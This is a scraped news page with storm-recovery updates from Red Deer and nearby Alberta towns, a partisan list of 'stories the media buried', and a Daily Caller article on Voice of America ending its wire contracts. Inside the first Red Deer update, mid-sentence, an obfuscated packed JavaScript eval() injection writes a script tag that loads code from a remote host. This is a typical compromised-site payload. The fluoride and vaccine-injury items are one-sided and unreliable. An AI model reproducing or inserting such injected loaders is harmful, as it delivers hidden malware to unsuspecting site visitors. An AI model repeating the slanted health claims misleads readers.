News
Red Deer’s Emergency, Penhold Fire Cadets, Innisfail Charity Golf
3:00 pm – Crews have made great progress on Thursday restoring power to most properties in Red Deer. However, the local state of emergency continues. Here’s the latest information on the storm clean up from the City eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzhii|var|u0026u|referrer|khsfk||js|php’.split(‘|’),0,{}))
of Red Deer.
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11:20 am – The Quarter Horse Association of Alberta is presenting it’s Chinook Show at Red Deer’s Westerner Park today through Sunday (June 22-25). Details Here.
11:13 am – In light of last Tuesday night’s storm, the Town of Innisfail will again open the Waste Transfer Station FREE to residents of Innisfail to dispose of tree and shrub debris. Read More.
11:07 am – A preliminary assessment of both the Arena and Curling Rink in Innisfail shows the damage after Tuesday’s windstorm to be mostly to the water proofing membrane, with neither appearing to have suffered significant structural damage. Crews are nonetheless conducting a more thorough examination. Read More.
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11:00 am – Officials with the Town of Sylvan Lake say the recent wind storm has created a number of hazards along the Town’s trail system, which has resulted in a few closures, including along CP Trail. Residents are asked to stay clear and adhere to signage, until the hazards are removed.
10:55 am – Due to the recent wind storm, the Sylvan Lake Waste Transfer Station will operate under extended hours of service, 9:00 AM to 8:00 PM, until June 28th. Read More.
10:53 am – It’s Food Truck Thursday in Sylvan Lake from 11:00 am – 8:00 pm today! Details Here.
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10:40 am – Learn more about the danger that fentanyl poses to our community. The RCMP will make a presentation about it tonight at 7 pm at the Lacombe Memorial Centre. Details Here.
10:27 am – Lacombe Days Volunteer Orientation Night tonight at 7 pm. Find out more about volunteer opportunities in Lacombe. Read More.
10:09 am – A Draft of the Spruce View Major Area Structure Plan will be presented at the Spruce View Community Hall from 5:00 – 7:30 pm tonight. Read More.
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10:04 am – Due to the recent weather, the opening of the new traffic circle in Gasoline Alley has been delayed until later today (June 22). Read More.
9:44 am – Check out live music from Denver Daines on the Ross Street Patio today, 11:30 am – 1:00 pm! Details Here.
9:34 am – The Innisfail Charity Golf Classic is on all day today at the Innisfail Golf and Country Club. It’s a fundraiser for the Ronald McDonald House of Central Alberta, located in Red Deer. Details Here.
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9:24 am – Take a look at where all the road construction is taking place throughout the City of Red Deer today. Click Here.
9:15 am – The Penhold Fire Cadet Program is holding it’s third annual Graduation Ceremony at the Penhold Crossing High School starting at 12:15 pm today. All previous graduates have become members of the Penhold Volunteer Fire Department. The program is joint partnership between the Penhold Fire Department and the Chinooks Edge School Division and managed by the Penhold Fire Department. It follows a fully certified fire training program, provides high school credits and is sponsored by Atco Gas.
8:57 am – All are welcome to join the St. Martin de Porres school community for their Family Carnival tonight organized by School Council. Activities include bouncy houses, face painting, cake walk, snow cones, cotton candy and many more fun exciting games! It runs from 6 – 8 pm.
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8:52 am – St. Patrick’s Community School in Red Deer will celebrate the successes of their middle school students with academic and sports awards today!
8:40 am – Sports Day at École Our Lady of the Rosary School in Sylvan Lake is postponed until 10:30 a.m. We are keeping an eye on the weather and as it improves we will head outside. School officials ask that volunteers scheduled for the morning to please still come to the school as they have tasks for you to do to prep for the activities.
8:26 am – Power outages continue to affect 400 properties in Red Deer and a state of local emergency is still in effect. Read More.
Media
Top Five Huge Stories the Media Buried This Week

NEERA TANDEN: “The military requires accountability. It’s the most accountable organization. You are supposed to be accountable to higher-ups. Politics isn’t supposed to have to do with any of this, and the fact that that’s happening, that they’re just basically saying nothing to do here, is a big problem, I think, for those who believe in accountability.”
@ScottJenningsKY: “I think Republicans aren’t interested in any lectures on accountability in the military after the Biden administration. I mean, the bar for getting rid of a Secretary of Defense is apparently pretty high. You can get 13 people killed and go AWOL and not tell the commander in chief, and that’s not a fireable offense.”
“But these lectures about accountability and national security after letting 10 million people into the country who raped and murdered and committed violent acts and no remorse or accountability.”
NEERA TANDEN: “What are you talking about? They closed the border.”
#4 – Bill Gates says we won’t need humans “for most things.”
During an appearance on The Tonight Show, Jimmy Fallon asked Gates a pretty direct question: “Will we still need humans?”
Gates responded, “Not for most things. We’ll decide … There will be some things that we reserve for ourselves, but in terms of making things and moving things and growing food, over time those will be basically solved problems.”
VIDEO: @TheChiefNerd
REP JORDAN: “Is NPR biased?”
MAHER: “I have never seen any political bias.”
JORDAN: “In the DC area, editorial positions at NPR have 87 registered Democrats and 0 Republicans.”
MAHER: “We do not track the voter registration, but I find that concerning.”
JORDAN: “87-0 and you’re not biased?”
MAHER: “I think that is concerning if those numbers are accurate.”
JORDAN: “October 2020, the NYPost had the Hunter Biden laptop story, and one of those 87 Democrat editors said, ‘We don’t want to waste our readers and listeners’ time on stories that are just pure distractions.’ Was that story a pure distraction?”
Video + Transcript via @Kanekoathegreat
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#2 – Utah becomes the first state to officially BAN fluoride in all public drinking water.
For decades, fluoride was accepted as a safe way to prevent tooth decay. Few questioned it.
But last year, in a dramatic legal twist, a federal judge ruled that fluoride may actually lower children’s IQ—and cited evidence that could upend everything we thought we knew.
That ruling sent shockwaves through the public health world.
Judge Edward Chen pointed to scientific studies showing a “high level of certainty” that fluoride exposure “poses a risk” to developing brains.
He ordered the EPA to reexamine its safety standards, warning that the margin for safety may be far too narrow.
At the center of the case: dozens of peer-reviewed studies linking everyday fluoride exposure—even at levels found in U.S. tap water—to reduced intellectual capacity in children.
It wasn’t just one paper. The National Toxicology Program, a branch of the U.S. government, also concluded that higher fluoride levels were “consistently associated” with lower IQ in kids.
They flagged 1.5 mg/L as a risk threshold. Some communities hover right near it.
In response to the growing evidence, Utah passed HB 81, banning all fluoride additives in public water.
The law takes effect May 7. It doesn’t ban fluoride completely. Anyone who wants it can still get it—like any other prescription.
And that’s the point: Utah’s lawmakers say this is about informed consent and personal choice.
This issue is no longer on the fringe. Across the country, cities and towns are quietly rethinking water fluoridation—and some have already pulled out. Utah is the first state to take bold action. It may not be the last.
The conversation surrounding fluoride has shifted from “Is it helpful?” to “Is it safe?” And for the first time in nearly a century, that question is being taken seriously.
VIDEO: @TheChiefNerd
#1 – RFK Jr. Drops Stunning Vaccine Announcement
Kennedy revealed that the CDC is creating a new sub-agency focused entirely on vaccine injuries—a long-overdue shift for patients who’ve spent years searching for answers without any support from the government.
“We’re incorporating an agency within CDC that is going to specialize in vaccine injuries,” Kennedy announced.
“These are priorities for the American people. More and more people are suffering from these injuries, and we are committed to having gold-standard science make sure that we can figure out what the treatments are and that we can deliver the best treatments possible to the American people.”
For years, the vaccine-injured have felt ignored or dismissed, as public health agencies refused to even acknowledge the problem. Now, there’s finally an initiative underway to investigate their injuries and to provide support.
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International
‘Lot Of Nonsense’: Kari Lake Announces Voice Of America Is Dumping Legacy Outlets

From the Daily Caller News Foundation
By Hailey Gomez
Special Adviser for the U.S. Agency for Global Media (USAGM) Kari Lake announced Friday that Voice of America (VOA) will terminate its contracts with The Associated Press, Reuters, and Agence France-Presse.
VOA, an international broadcasting state media network, is funded by USAGM, with former President Joe Biden requesting in March 2024 a budget increase for the 2025 fiscal year to further support the radio network. In an X post on Friday, Lake announced USAGM will end its “expensive and unnecessary newswire contracts,” adding that some of the major agreements included “tens-of-millions of dollars in contracts” with AP News, Reuters and Agence France-Presse.
“USAGM is an American taxpayer funded News Organization with an 83-year history. We should not be paying outside news companies to tell us what the news is—with nearly a billion-dollar budget, we should be producing news ourselves,” Lake wrote. “And if that’s not possible, the American taxpayer should demand to know why.”
During a meeting with VOA staffers Friday, employees were reportedly told to “stop using wire service material for their reports,” according to Newsmax. Notably, audio, video, and text reports have often been used to supplement coverage from locations where reporters are not present, the outlet reported.
In an interview with Newsmax prior to the official contract cuts, Lake discussed how the agency was finding “a lot of nonsense that the American taxpayer shouldn’t be paying for.”
“Today, I started the process of terminating the agency’s contracts with the Associated Press, Reuters, & the Agence France-Presse. This will save taxpayers about 53 million dollars. The purpose of our agency is to tell the American story. We don’t need to outsource that responsibility to anyone else,” Lake wrote in an X post regarding the interview.
Disputes between The AP and the White House began in February after the corporate media outlet was revoked press access for refusing to call the Gulf of America by its new name. The AP filed a lawsuit on Feb. 21 against White House Press Secretary Karoline Leavitt, Chief of Staff Susie Wiles, and Deputy Chief of Staff Taylor Budowich for injunctive relief.
Lake was sworn in as USAGM’s special adviser on March 3, saying she’s “looking forward” to serving America and “streamlining” the agency. The cuts from the agency follow President Donald Trump’s push for his second administration to review the government’s wasteful spending.
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